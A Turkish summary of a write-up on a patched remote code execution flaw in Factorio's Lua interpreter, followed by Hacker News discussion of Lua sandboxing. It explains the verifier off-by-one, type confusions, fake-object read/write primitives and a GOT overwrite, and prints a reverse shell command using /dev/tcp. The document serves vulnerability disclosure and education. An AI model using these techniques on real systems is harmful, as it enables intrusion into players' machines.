Bytecode analizi: Factorio'nun Lua güvenlik açığının açıklaması
(memorycorruption.net)- Factorio'nun Lua uygulamasındaki güvenlik açığı, kötü niyetli bir sunucunun bağlanan istemcide rastgele kod çalıştırma elde etmesini mümkün kıldı ve etkilenen kapsam, zaten yamalanmış olan 1.1.101 öncesi sürümlerdi
- Çok oyunculu yapının deterministik lockstep yöntemiyle aynı Lua kodunu çalıştırması nedeniyle, saldırgan kötü niyetli özel harita üzerinden ağ yolu üzerinde güvenlik açığını tetikleyebiliyordu
- Sorunun merkezinde,
basemodülündekiload/loadstringfonksiyonlarının izin verdiği bytecode çalıştırma ile Factorio'nun kendi doğrulayıcısındakiOff-By-Oneve eksik tür doğrulaması yer alıyordu - Exploit,
FORLOOPtür karışıklığıyla adres sızdırdıktan sonra upvalue indeksini manipüle ederekLClosureileTStringtiplerini karıştırıyor, böylece sahte nesne ve rastgele okuma-yazma primitifleri oluşturuyordu - Linux RCE, GOT içindeki
ldexpadresinisystemile değiştiripmath.ldexpçağrısını kötüye kullanıyordu; ayrıca Factorio'nun struct ofsetleri ve%abiçim farkı nedeniyle ek düzeltmeler gerekiyordu
Güvenlik açığının kapsamı ve Lua'nın maruz kaldığı yollar
- Factorio'nun Lua uygulamasındaki güvenlik açığı, kötü niyetli bir sunucunun istemcide rastgele kod çalıştırma elde etmesini mümkün kıldı ve Factorio'nun 1.1.101 öncesi sürümleri etkilendi
- Lua, Factorio'da oyun mantığı, modlar ve özel haritaların uygulanması için kullanılıyor
- Modlar oyun içinden veya Factorio Mods üzerinden alınabiliyor
- Modlama topluluğunda binlerce mod var ve bazılarının indirme sayısı 500 bini aşıyor
- Bu durum, yalnızca kötü niyetli bir modun doğrudan kurulmasını gerektiren yerel bir saldırı gibi görünebilir; ancak çok oyunculu senkronizasyon yapısı nedeniyle Lua yorumlayıcısı ağ yolu üzerinden de erişilebilir durumda
- Factorio çok oyunculusu deterministik lockstep kullanıyor
- Ağ üzerinden oyun durumu değil, yalnızca kullanıcı girdileri iletiliyor
- Tüm oyuncuların oyunu her tick'te aynı şekilde simüle etmesi gerekiyor
- Bir oyuncu Lua kodu çalıştırdığında, diğer oyuncular da senkronizasyon için aynı kodu çalıştırmak zorunda kalıyor
- Saldırganın Lua kodu çalıştırabileceği yol iki başlıkta toplanıyor
- Yetkisi varsa sunucuda
/ckomutuyla Lua kodu çalıştırmak - Lua kodu içeren özel bir harita oluşturup istemci sunucuya bağlandığında bunu çalıştırmak
- Yetkisi varsa sunucuda
- Sunucu tarayıcısında kötü niyetli bir sunucu görünür hale getirilirse, kurbanın haritayı indirip Lua kodunu çalıştırdığı bir akış oluşabiliyor
Genel saldırı akışı
- Saldırı, Factorio sunucusunun kötü niyetli bir harita sunmasıyla başlıyor
- Haritanın senaryo Lua koduna exploit gömülüyor
- İstemci sunucuya bağlandığında haritayı indiriyor ve ilgili Lua kodunu çalıştırıyor
- Ardından Lua uygulamasındaki zayıflıklar kullanılarak sahte nesne (fake object) oluşturuluyor
- Sahte nesne, bellek sızıntısını ve bellek bozulmasını mümkün kılıyor
- Sonuç olarak kod çalıştırmaya kadar gidebilecek çeşitli primitifler elde ediliyor
- Dinamik dillerde sahte nesne, saldırganın güçlü kontrol kazanmasında temel araçlardan biri
- Dizeler rastgele veri sızdırmak için kullanılabiliyor
- Diziler veya tablolar rastgele bellek yazmak için kullanılabiliyor
- Yerel fonksiyon çağrı yolu varsa yürütme akışı kontrolüne kadar gidilebiliyor
Lua bytecode çalıştırma ve doğrulayıcı sorunları
- Factorio'ya dahil edilen Lua modülleri sınırlı
debug: hata ayıklama işlevlerine erişimmath: standart C matematik arayüzübit32: bit işlemleristring: dize işlemetable: tablo işlemleribase:printgibi Lua çekirdek işlevleri
os.executegibi açıkça tehlikeli modüller çıkarılmış olsa da,basemodülündekiloadveloadstringbytecode çalıştırmaya izin verdiği için saldırı yüzeyi büyük kalıyor- Lua önce kaynak kodu Lua bytecode'una derliyor, ardından yorumlayıcıda çalıştırıyor
- Bytecode, CPU makine kodu değil; yalnızca Lua yorumlayıcısının çalıştırabildiği bir gösterim
- Bytecode doğrudan enjekte edilebilirse, normal derleyicinin üretmeyeceği hatalı bytecode yürütülebilir
- Lua geliştiricileri rastgele bytecode çalıştırmanın riskini biliyordu ve bir doğrulayıcı oluşturmuştu; ancak bunu Lua 5.2'de kaldırdı
- Lua posta listesinde, mevcut doğrulayıcının tekrar tekrar aşıldığı ve rastgele Lua kodu çalıştıran uygulamaların önceden derlenmiş script almamasının daha doğru olduğu görüşü yer alıyor
- Factorio geliştiricisinin Lua 5.2.1 üzerinde kendi bytecode doğrulayıcısını uyguladığı görülüyor
- Koruma mantığı, kod dışına sıçrama veya sabit dizi sınırı dışındaki indeksler gibi açık OOB parametreleri engellemeye odaklanıyor
- Bazı opcode anlamları nedeniyle bir
Off-By-Onesorunu vardı veJMP 0gibi sıçrama ofseti işlenirken kod bloğu dışına atlanabiliyordu - Sabit alanı kod chunk'ının arkasına ayrılabildiği için, saldırgan sabit bölümüne bytecode koyup off-by-one sıçramasıyla kontrolleri aşıp bunu çalıştırabiliyordu
Adres sızıntısı: FORLOOP tür karışıklığı
- Lua iç nesneleri
TValueile temsil ediliyorTValue, değer alanıValueile türü belirtentt_bileşenlerinden oluşuyorValue, 8 baytlık bir alan ve türe göre double veya pointer olarak yorumlanabiliyor
- Lua 5.2'de tüm sayılar double olarak temsil ediliyor
- Sayılar pointer üzerinden değil, doğrudan
Valueunion'ı içinde inline saklanabiliyor - Bir dize pointer'ını sayı gibi yorumlatmak, pointer bitlerinin double değer olarak sızmasına yol açabiliyor
- Sayılar pointer üzerinden değil, doğrudan
- Normal Lua'da
print(function)adres yazdırabilir; ancak bu özellik Factorio'da kaldırılmış ve dize adresleri de doğrudan sızdırılamıyor - Döngü opcode'u olan
FORLOOPnormaldeFORPREPsonrasında gelmeliFORPREP, başlangıç değeri, limit ve step'in sayı olup olmadığını kontrol ediyorFORLOOPiçinde ise step parametresinin türü kontrol edilmiyor velua_asserttabanlı denetim varsayılan derlemelerde zorunlu değil
- Saldırgan bytecode'u değiştirerek
FORPREP'i kaldırıp yalnızcaFORLOOPçalıştırabiliyor- Normal Lua kaynağında derleyicinin üretmeyeceği bir durum bytecode düzeyinde kuruluyor
- Step konumuna dize gibi bir nesne yerleştirilirse, ilgili
TValueiçindeki pointer double gibi yorumlanıp sızdırılıyor
- Sızan değer normal bir double değil; pointer bitlerinin double olarak yorumlanmış hali olduğu için
2.1944577826691e-317gibi küçük bir sayı gibi görünüyor- IEEE 754 binary64; 1 işaret biti, 11 üs biti ve 52 mantissa bitinden oluşuyor
- Pointer değeri denormalized double gibi görünüyorsa, mantissa içinden asıl değer geri çıkarılabiliyor
- Lua 5.2'de pack/unpack ve tamsayı tipleri olmadığından dönüşüm zahmetli
- İlk olarak
string.format("%.13a", double)ile mantissa ve exponent okunup pointer geri elde ediliyor - Örnek sızıntı değeri
0x43d6c0pointer'ına çevriliyor ve gerçek dize verisiTStringbaşlığından 24 bayt sonra yer alıyor
- İlk olarak
Upvalue manipülasyonu ve LClosure tür karışıklığı
- Upvalue, Lua'nın mevcut fonksiyonun dış kapsamındaki değişkenlere erişim mekanizması
- Bytecode içindeki upvalue bilgileri indeks, ad, stack konumu bilgisi ve stack indeksi içeriyor
- Saldırgan bytecode'a gömülü upvalue indekslerini değiştirebiliyor
- Upvalue indeksini değiştirmek, orijinal yerel değişken yerine stack üzerindeki başka bir
TValue'a işaret etmeyi sağlayabiliyor- Örnekte
targetupvalue indeksinin bir artırılması, mevcut fonksiyonunLClosure'ını işaret etmesini sağlıyor - Manipüle edilmiş bytecode,
nilyerineLClosure: 0x...yazdırıyor
- Örnekte
- Lua'da fonksiyonun gerçek çalışma birimi Prototype ve Closure olarak ayrılıyor
Proto, bytecode, sabitler, kaynak satırları ve upvalue bilgileri gibi fonksiyon şablonu görevini görüyorLClosure, çalışma anında oluşturuluyor veProtoile upvalue listesini bağlıyor
CLOSUREopcode'u yeni bir Lua closure'ı oluşturup stack'e koyuyor, sonra upvalue'leri başlatıyor- 3 yerel değişken varsa yeni
LClosure,base + 3konumuna yerleşebiliyor - Upvalue indeksini
3yapmak, o konumdakiLClosureTValue'ını yakalamayı sağlıyor
- 3 yerel değişken varsa yeni
- İç fonksiyon dış fonksiyonun
LClosure'ını bir dizeyle ezdiğinde, dönüşten sonra Lua bu dizeyiLClosuregibi kullanmaya çalışıyor ve çöküyorOP_RETURNyolundaki tür kontrolülua_assert'e dayanıyor ve varsayılan yapılandırmada zorunlu değil- Sonuçta mevcut çalışma frame'inin
clalanı gerçekLClosureyerine saldırganın kontrol ettiğiTString'i gösterebiliyor
TStringileLClosuredüzenleri arasındaki fark kullanıldığında, dize kullanıcı veri alanıProto *pveUpval **upvalkonumlarıyla çakışıyor- Bu tür karışıklığı fonksiyon prototype pointer'ı ile upvalue dizisi pointer'ını kontrol etmeyi sağlıyor
- Kontrol edilebilir bellek alanlarını işaret ettirerek sahte nesneler üretilebiliyor
Sahte nesneler ve okuma-yazma primitifleri
- Sahte nesne üretim yolu kabaca ikiye ayrılıyor
- Sahte
Proto'nun sahteTValuedizisini göstermesi - Sahte
UpValdizisinin sahteTValue'ları göstermesi
- Sahte
- Daha az padding içermesi ve fonksiyon içinden sabitleri yeniden kullanabilmesi nedeniyle sabit yolu tercih ediliyor
- Sahte
TString - Sahte
TString'i gösterenTValuedizisi - Sahte
TValuedizisini gösterenProto - Sahte
Proto'yu gösterenLClosure
- Sahte
- Sahte
TString, uzunluğu istenen kadar büyük ayarlanarak okuma primitifi olarak kullanılabiliyor- Lua dize verisinin
TStringbaşlığının hemen ardından geldiği varsayılıyor str:sub()ile sahte dizenin kapsadığı aralıktaki bellek okunabiliyor- Lua dize indeksleri 1'den başladığı için başlık hesabında 1 baytlık düzeltme gerekiyor
- Lua dize verisinin
- Yazma primitifi, sahte
UpVal'in yazılacak adresinTValue'ını işaret etmesiyle kuruluyor- Lua değişkenine sayı atandığında ilgili konuma sayısal
TValueyazılıyor - Sayı
TValue'ın ilk 8 baytında inline saklandığı için değer alanı kontrol edilebiliyor - Aynı anda sonraki 8 bayta tür bilgisi yazıldığı için çevredeki bellek de bozulabiliyor
- Lua değişkenine sayı atandığında ilgili konuma sayısal
- Lua sayıları double olduğundan, istenen tamsayı bit düzenini yazmak için dönüşüm gerekiyor
- Denormalized double'ın en küçük birimi olan
2^-1074kullanılıyor integer_to_double(integer) = integer * 2^-1074biçimiyle tamsayı, double gösterimine kodlanıyor
- Denormalized double'ın en küçük birimi olan
Komut işaretçisi kontrolü ve ASLR atlatma
- Lua'nın
Light C Functiontürü, fonksiyon pointer'ını doğrudanTValueiçinde inline saklıyor- Fonksiyon türü
LUA_TFUNCTION,Light C FunctioniseLUA_TLCFdeğeri22ile temsil ediliyor TValuedeğer alanına0xdeadbeef, tür alanına22konursa bu, o adresteki fonksiyon gibi çağrılabiliyor
- Fonksiyon türü
- Sahte
Light C Functionçağrıldığında instruction pointer kontrol edilebiliyor- Örnekte
RIP,0xdeadbeefoluyor ve süreç çöküyor - Buradan sonra ROP chain gibi yürütme akışı değiştirme tekniklerine geçilebiliyor
- Örnekte
Light C Functionpointer'ının inline saklanması, adres sızıntısı için de yararlı- Lua fonksiyonları light C function olarak uygulanmışsa,
printgibi fonksiyonların adresleri okuma primitifiyle sızdırılabiliyor - Böylece ASLR atlatmak için gereken taban adres hesaplanabiliyor
- Lua fonksiyonları light C function olarak uygulanmışsa,
- Sandbox içine alınmış bir fonksiyon ikili dosyada hâlâ duruyorsa, sahte fonksiyonu o adrese işaret ettirip çağırmak da bir başka atlatma yolu olabiliyor
Factorio'ya uyarlanan düzeltmeler
- İlk testler resmi Lua yorumlayıcısında yapılmış olsa da, Factorio'nun Lua uygulamasında struct düzeni farklı
- Factorio'nun GC nesne
CommonHeaderyapısınapreviouspointer'ı eklenmiş- Resmi Lua'da yapı
next,tt,marked - Factorio'da ise
previous,next,tt,markedolduğu görülüyor
- Resmi Lua'da yapı
- Bu fark nedeniyle bazı ofsetler 8'er bayt kayıyor
TStringbaşlığı 24 bayt değil, 32 bayt oluyor- Dize içeriği adres hesabı ve okuma primitifi için göreli adres hesapları düzeltilmeli
- Sahte
UpValve fake closure hesaplarında da ek pointer dikkate alınmalı
- Factorio'da
%aformatının davranışı da resmi Lua testinden farklı çıktıstring.format("%.13a", 2.1038461432219e-316)beklenen0x0.000000289c130p-1022yerine0xa.2704c00000000p-1052biçimini üretiyor- Bu yüzden dize formatına dayalı double geri dönüşümü bozuluyor
- Son dönüşüm tamamen sayısal yönteme çevrildi
- Denormalized değerlerin, tüm tamsayıların en sağdaki en düşük anlamlı bitten başladığı kabul edilebiliyor
double_to_number(double) = double * 2^52 * 2^1022ile sızan değer geri elde ediliyor2^1074double olarak temsil edilemediği için çarpım iki aşamaya bölünüyor
Linux RCE: GOT değiştirme ve math.ldexp
- Linux'ta seçilen RCE yolu, ROP chain yerine GOT değiştirme kullanıyor
- Lua'dan çağrılabilen ve ilk argümanı kontrol edilebilen bir imported function aranıyor
- Bu fonksiyonun GOT girdisi
systemadresiyle eziliyor - Ardından Lua'dan bu fonksiyon çağrılarak
system(command)gibi davranması sağlanıyor
- Factorio'nun kısıtlı Lua kütüphaneleri içinde
math.ldexpuygun fonksiyon olarak seçiliyor- İçeride
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))çağrılıyor - GDB ile ikinci Lua argümanının libc çağrısının ilk register argümanı olan
RDI'ye aktarıldığı doğrulanıyor
- İçeride
- GOT, heap'in önünde yer aldığı için mevcut sahte dize okuma primitifiyle doğrudan okunması zor
- Okuma primitifi yalnızca sahte dize başlığından sonraki adresleri okuyabiliyor
- Bu yüzden GOT'un önündeki writable segment kullanılarak GOT'tan önce sahte
TStringoluşturuluyor
- GOT'un önüne sahte
TStringyerleştirildiğinde libc fonksiyon adresleri okunabiliyor ve ASLR atlatılabiliyor- Örnekte GOT'tan
memcpyadresi okunuyor - Fedora 39'un libc 2.38 ofsetleriyle
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0hesaplanıyor
- Örnekte GOT'tan
- Daha sonra
ldexpGOT girdisisystemadresiyle eziliyor- Örnek adreste
0x289ef00,ldexpGOT girdisi olarak kullanılıyor write(0x289ef00, system)biçiminde üzerine yazılıyor
- Örnek adreste
Komut çalıştırma ve son uzaktan kabuk
- İlk olarak komutun Lua dizesinde tutulup
math.ldexp(0, addr_of(cmd) + 32)ile çağrılması denendi- Komut
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"biçimindeydi - Ancak Lua,
ldexp'i 32 bit parametre ile çağırdığı için dize adresinin üst bitleri kesildi ve bu yöntem başarısız oldu
- Komut
- Geçici çözüm olarak, daha önce sahte dize oluştururken kullanılan ikili dosyanın writable segmentine komut dizesi doğrudan yazıldı
- PIE etkin olmadığı için ana ikili dosyanın adresi yeterince küçüktü
- Komut dizesi
0x289c150civarına birden çokwrite()çağrısıyla yazıldı
math.ldexp(0, 0x289c150)çağrısı, GOT değiştirildikten sonrasystem(0x289c150)çağrısı gibi davranıyor- Nihai yürütme sonucu, yerelde çalışan
nc -lvp 9001dinleyicisine bağlanan bir kabukla doğrulandı- Kabuk istemi
sh-5.2$ whoamiçıktısıvictim
- Kabuk istemi
Alıştırma amaçlı challenge ve referanslar
- Yazının sonunda, Lua yorumlayıcısından çıkıp Lua koduyla doğrudan çağrılamayan bir JavaScript fonksiyonunu çalıştırmaya yönelik tarayıcı tabanlı bir challenge sunuluyor
- Challenge: Escape from Alcawasm
- İlgili referans bağlantıları
- Lua bytecode doğrulayıcısının kaldırılma gerekçesi: lua-l posta listesi Wayback kopyası
- Factorio Lua doğrulayıcı kodu: Factorio Lua
- Lua sayı uygulaması: Programming In Lua: Numbers
- Lua closure yapısı: Programming in Lua: Closures
%aformatı açıklaması: GNU libc Floating-Point Conversions- Lua 5.1 Windows exploit referansı: Exploiting Lua 5.1 on 32-bit Windows
1 yorum
Hacker News yorumları
Beklenmedik bir durum
Lua bayt kodunu yorumladığı için, komut argümanlarının anlamlı olup olmadığını doğrulayabileceğini sanmıştım. Örneğin Lua’nın ayırdığı belleği gösterip göstermediği gibi şeyler
Ama gerçekte öyle değilmiş; hatalı argümanlara sahip bayt kodu verseniz bile olduğu gibi çalıştırıyor. Sonraki ihlal süreci de buradan devam ediyor
Üstelik yorumlayıcıyı düzeltmek yerine bayt kodunu statik olarak analiz etmeyi planlıyorlar; bu da yalnızca basit durumlarda işe yarayacak gibi görünüyor
Sandbox dostu bir yorumlayıcı dili için epey hayal kırıklığı yaratıcı; yorumlayıcının girdiye güvenmemesini sağlayacak bir yamayı kabul edip etmeyeceklerini merak ediyorum. Performans düşüşünden endişe ediyor gibiler ama hızlı seçeneğin LuaJIT olduğu bir durumda bu şüpheli
Bu yaklaşım, güvenilir bayt kodunu doğrudan yükleme seçeneğini korurken tüm kullanıcıları etkileyecek dinamik kontrolleri yorumlayıcıya koymayı gerektirmediği için makul görünüyor
Lua tasarımı gereği sonlanma garantisi sunmaz ve güvenilmeyen programları zorla sonlandırmanın iyi bir yolu da yoktur. Güvenilmeyen Lua girdisi kabul ediyorsanız, programın süresiz olarak takılabileceğini varsaymalısınız
Lua, internetten indirilen kod gibi en azından asgari incelemeden geçmiş yarı güvenilir girdiler için harika. Kod gerçekten kötü niyetli olsa bile zararı büyük ölçüde sınırlar, ama tamamen ortadan kaldıramaz
JavaScript tarzında tamamen güvenilmeyen girdiye ihtiyacınız varsa doğru seçenek Roblox çatallanması Luau’dur: https://luau-lang.org/sandbox
Diğer dillerin gösterdiği gibi, bayt kodu için güvenli bir yorumlayıcı yapmak basit bir iş değil. Bu aynı zamanda referans uygulamayı basit tutmak için yapılmış bir ödünleşim
Üçüncü taraf kod çalıştırma söz konusu olduğunda bu yorumlayıcıların çoğuna güvenmem. Web tarayıcılarının aldığı Ar-Ge bütçesi ve ilgiyi düşününce, tarayıcılara bile ancak zar zor güveniyorum
Bu, keyfi makine kodu çalıştırmamakla aynı şey
Luau da aynı özelliğe sahip; Roblox sürekli sandbox kaçışlarından mustarip değil, öyle değil mi?
Keşke bu kısımlar daha açık biçimde tanımlansa veya belgelenmiş olsa. Hangi dilin makul ölçüde güvenli olduğunun garanti edildiğini insanın kendi başına anlaması gerekiyor
Örneğin statik kodun doğrudan kullanıcı tarafından çalıştırıldığı temel durum var; Lua dahil dillerin genelde ilgilendiği durum bu
Bir de kodun güncelleme sürecinde dinamik olarak alınıp çalıştırıldığı, ama yalnızca resmî kanalların kullanıldığı durum var. Bu durumda süreci güvenli hale getirerek geçiştirilebilir, fakat kesin değil
Kullanıcıların eklenti olarak kod ekleyebildiği ve bir mağazadan tek düğmeyle kolayca kurabildiği durumlar da var. Eklentiler incelenebilir ama bu neredeyse hiç düzgün yapılmadığından, sandbox gerekip gerekmediğine veya kullanıcının dikkatli olması gerekip gerekmediğine bakmak gerekir
Çok oyunculu oyunlarda yalnızca sunucunun eklentilerle genişletildiği, istemcinin ise genişletilmediği durumlar da var. Sunucu açan oyuncuların çeşitli eklentileri aktif biçimde denediği hesaba katılmalı; eklenti topluluğu da çok daha riskli olabilir
Son olarak, tarayıcılar gibi sunucunun istemcide keyfi kod çalıştırabildiği çok oyunculu oyunlar var. Bu durumda özellikle istemci tarafındaki sandbox konusunda çok dikkatli olmak gerekir. Çünkü oyuncular güvenlik etkilerini düşünmeden rastgele sunuculara girer
Factorio tam olarak bu son durum. Geliştiricilerin bunu değerlendirmesi gerektiğine mutlaka karşı değilim; ancak örneğin Lua’nın
loadfonksiyonunun güvenli olmayan keyfi bayt kodu çalıştırabileceği her zaman açık değildirAçıkçası Lua bayt kodunun güvenli olmadığını bilmiyordum; LuaJIT bayt kodunun güvenli olmadığını biliyordum. Fakat bu bilgi posta listelerinde veya GitHub issue’larında yer yer, herkesçe bilinen bir gerçekmiş gibi yazılmış görünüyor
Sunucunun istemciyi kilitleyebilmesi sorunu da var. Sonsuz döngü çalıştırması yeterli. Ancak bundan kaçınmak çok daha zor ve belki de kaçınmaya çalışmak anlamsız olabilir
İstemci tarafında tarayıcıyı kapatma seçeneği yoktu; bildiğim kadarıyla geliştiriciler sonunda bunu tamamen devre dışı bıraktı ama şu anki durumdan emin değilim
Bu, oyunların ve oyun motorlarının ne kadar karmaşık hale geldiğini gösteriyor. Pek bir nedeni yokmuş gibi görünen yerlere gömülü web tarayıcısı konmuş
Factorio’nun arkasında gerçekten iyi bir geliştirme ekibi var; bu yüzden böyle sorunları düzeltmek için ellerinden geleni yaptıklarına inanıyorum. Yine de genel olarak oyun geliştirme daha çok yaratıcı bir iş niteliğinde olduğundan, kodlama pratikleri ve güvenlik gibi konular sanki geri planda kalıyor
Oyun istemcilerinde ve sunucularında ne kadar sıfır gün açığı saklı olduğunu merak ediyorum
Flatpak başlangıç noktası olarak yardımcı olabilir. Container güçlü bir güvenlik sınırı değildir ama basit exploit’leri engelleyebilir
Bu sadece resmi çevrim içi hizmetleri kullandırmaya yönelik basit bir ticari karar değil. Üçüncü taraf sunucu IP’lerine bağlanmayı engellerseniz, ağ kodunda ya da oyunun geri kalanında ciddi hatalar olsa bile bunlar asla suistimal edilemez. Modları, hatta Lua gibi “güvenli” modları bile kısıtlamak exploit’leri daha da azaltabilir
Hatalı ağ kodu, geçmişte birçok konsolun DRM’ini çökertmişti
Exploit’lerin yanı sıra, konsollar kodun dağıtılmadan önce incelemeden geçmesini bir övünç kaynağı sayar. Uzak bir sistemde Lua çalıştırmaya izin vermek, oyunun onaydan sonra bile bizzat geliştiricisi tarafından uzaktan yeniden yapılandırılabileceği anlamına gelir; konsol üreticileri de bunu çok ayrıntılı bir inceleme olmadan kabul etmek istemez
İdeal olarak sanal makinede izole etmek iyi olurdu, ama oyun amaçlı sanal makine kurulumu inanılmaz zahmetli ve anti-cheat kullanan bazı oyunlarda dışlanmanıza yol açabilir
Diğer alanların iyi programlama bilen insanlara ne kadar ihtiyaç duyduğunu düşününce, yetenekli insanların oyun sektöründe çalışması neredeyse üzücü geliyor
Genel olarak program doğrulama, yalnızca Rice teoremi yüzünden değil, aşırı derecede zordur. Özellikle Lua gibi önemsiz olmayan bir bytecode dilinde gözden kaçan noktalar çok kolay oluşur. Örneğin Wasm’da for döngüsü kavramı yoktur
Üst proje bu sorundan çok zor olduğu için vazgeçtikten sonra Factorio geliştiricilerinin doğrulayıcıyı düzeltmeye ya da kendilerinin yazmaya çalışması tuhaf
Minetest’in
loadstringfonksiyonu bytecode’u tamamen yasaklar: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Factorio modlarının ham Lua bytecode’u çalıştırma yeteneğine neden ihtiyaç duyduğunu merak ediyorum. Gerekli değilse doğrulayıcıya da ihtiyaç olmazdı
Zaten ağ üzerinden indirilen Lua kodunu çalıştırmak epey tehlikeli. JavaScript çalışma ortamları onlarca yıldır exploit bulunması ve düzeltilmesi döngüsünden geçti. Lua’da da böyle şeyler oluyor ama ölçek daha küçük ve güvenliği iyileştirecek insan sayısı da daha az
Başlıca koruma, kötü niyetli oyun sunucusu çalıştıran kişi sayısının daha az olması olabilir
Benzer güvenlik gerekçeleriyle debug kütüphanesinin de neredeyse tamamı modlarda kullanılamaz hale geldi
loadstring()fonksiyonundan bytecode özelliğini kaldırması gerektiğini zor yoldan öğreniyorÖrneğin ROBLOX geliştiricilerinin 12 yıl önce yazdığı bir yazı var: https://archive.is/oXPyM
Açıkçası varsayılan olarak devre dışı bırakmak daha iyi olurdu. Meşru kullanım alanları oldukça niş
Üstelik Turing-complete bir ortamda doğrudan çalıştırılamayan yazılım yapmak epey kısıtlayıcı
Her hâlükârda güçlü bir yetki sistemi içeren bir yorumlayıcı gerçekten gerekli
Ancak gerçek gereksinimleri karşılayan girdilerin yalnızca bir kısmını kabul etmeye razı olduysanız Rice teoremi devreden çıkar. Artık imkânsız bir iş yerine yalnızca aşırı zor bir iş kalır
Başarısız olsanız bile, en azından bunun imkânsız bir iş olduğu söylenmeyeceği için bu teselli olabilir
Factorio bu yola girmemeliydi
Tamamen acemi sorusu ama oyunların neden Lua kullandığını ve örneğin oyun durumunu ayarlayan API gibi tanımlı bir arayüze sahip gömülü JavaScript kullanmadığını merak ediyorum
Tarayıcı ortamlarının izolasyonu için yapılmış çok daha güçlü sağlamlaştırma çalışmalarından yararlanılabilir gibi geliyor. Tarayıcılar zor, çok iyi test edilmiş ve çok para harcanmış hedefler
Dinamik tip performans optimizasyonu için de muazzam çalışma yapıldı
Ayrıca modların UI’a ihtiyacı olursa canvas var; DOM benzeri bir model sağlanırsa React gibi şeyler de potansiyel olarak mümkün olur
Lua özellikle entegrasyon için yapılmış olduğundan bol kaynak var ve büyük bir topluluk da destekliyor
Ayrıca yaygın tarayıcı API’leriyle JavaScript’i karıştırıyorsunuz. JavaScript motoru canvas ya da DOM sağlamaz. Örneğin V8 de sağlamaz; bunları kendiniz eklemeniz gerekir
Güvenlik geliştiricisi değilim ama usulen “vay, bu gerçekten çok etkileyici!” demek istiyorum. Böylesine karmaşık bir başarısızlık vakasının izini sürebilmek için ne kadar net ve mantıklı düşünmek gerektiğine inanmak zor. Kesinlikle benim güçlü yanım değil; ben daha çok “fikirlerden sorumlu” kişiye yakınım
İçerik açısından bakınca, bu tür tuhaf bellek exploit’lerini bulan 10 bin blog yazısıyla donatılmış bir AI yazılım mühendisi grubu ortaya çıkarsa işimizin tamamen biteceğini düşünüyorum
Sonuçta güvenlik için tamamen yeni bir paradigmaya, ya da en azından yığının içinde yeni bir öğeye ihtiyacımız var gibi görünüyor. Modern “güvenilen” istemci ya da DB rolleri gibi şeyler, İsviçre peyniri deliklerini yamamaya benziyor
Umarım LLM’in yönettiği yeni bir İsviçre peyniri katmanı daha ekleyebiliriz
Yani bu, kötüye kullanılabilir diye tanıtılan bir özellik olan bytecode yüklemeye dayanan bir exploit’i göstermiyor mu? Neyi kaçırıyorum?
jmpgibi temel komutları modellerken yapılan off-by-one hataları ya da Lua yorumlayıcısının eline geçen her şeyi komut olarak yorumlamaya çalışması gibi basit şeylerdiDoğrulayıcının dokunmadığı veri bölümünü bile yorumlamaya çalışıyordu
loadstringdevre dışı bırakılmış ortamlarda bile keyfi bytecode çalıştırma mümkün olabilirBu kadar yetenekli insanların iyi tarafta olmasına gerçekten seviniyorum
Haber medyası bunun tersine inandırıyor, bu haberlerdeki ortalama yorumlar da o inancı pekiştiriyor; ama gerçekten öyle olsaydı sahip olduğumuz çeşitli lüksler ve sağlık/sosyal destek programları nasıl mümkün olurdu?
Dünyada sorun yok demek değil bu, ama kesinlikle yapıcı insanlar yıkıcı insanlardan çok daha fazla
Az önce Panama Papers ile ilgili bir HN başlığından geldiğim için bu düşünce daha da aklımın önünde. Orada tüm zenginlerin kötü olduğu ve hepsinin kovuşturmadan tamamen sıyrıldığı yönünde alaycı bir hava vardı; ama aslında birkaç yorum ikisinin de doğru olmadığını iyi yakalamıştı. Yalnızca başlığı biraz aşağı doğru okumak ve alaycılığa kapılmamak gerekiyor
Lua bytecode’unun, Lua kaynak kodu ayrıştırıcısını çalıştıracak kaynağı olmayan gömülü sistemler dışında asla kullanılmaması gerektiğini düşünüyorum
Güvenlik açıkları dışında işe yarar görünen tek kullanım alanı kapalı kaynak programlar gibi
Gözden kaçırmış olabilirim ama arka tarafları üstünkörü okuduğumu kabul ederek söyleyeyim: yazarın gerçekte hangi hafifletme önlemlerinin alındığını hiç ele almadığı görünüyor. O kısmı daha fazla duymak isterdim
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
ve 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
En ilgili kısım 1.1.104’teki
luaB_loaddeğişikliğiydi; basitçe bytecode yüklemeyi devre dışı bıraktı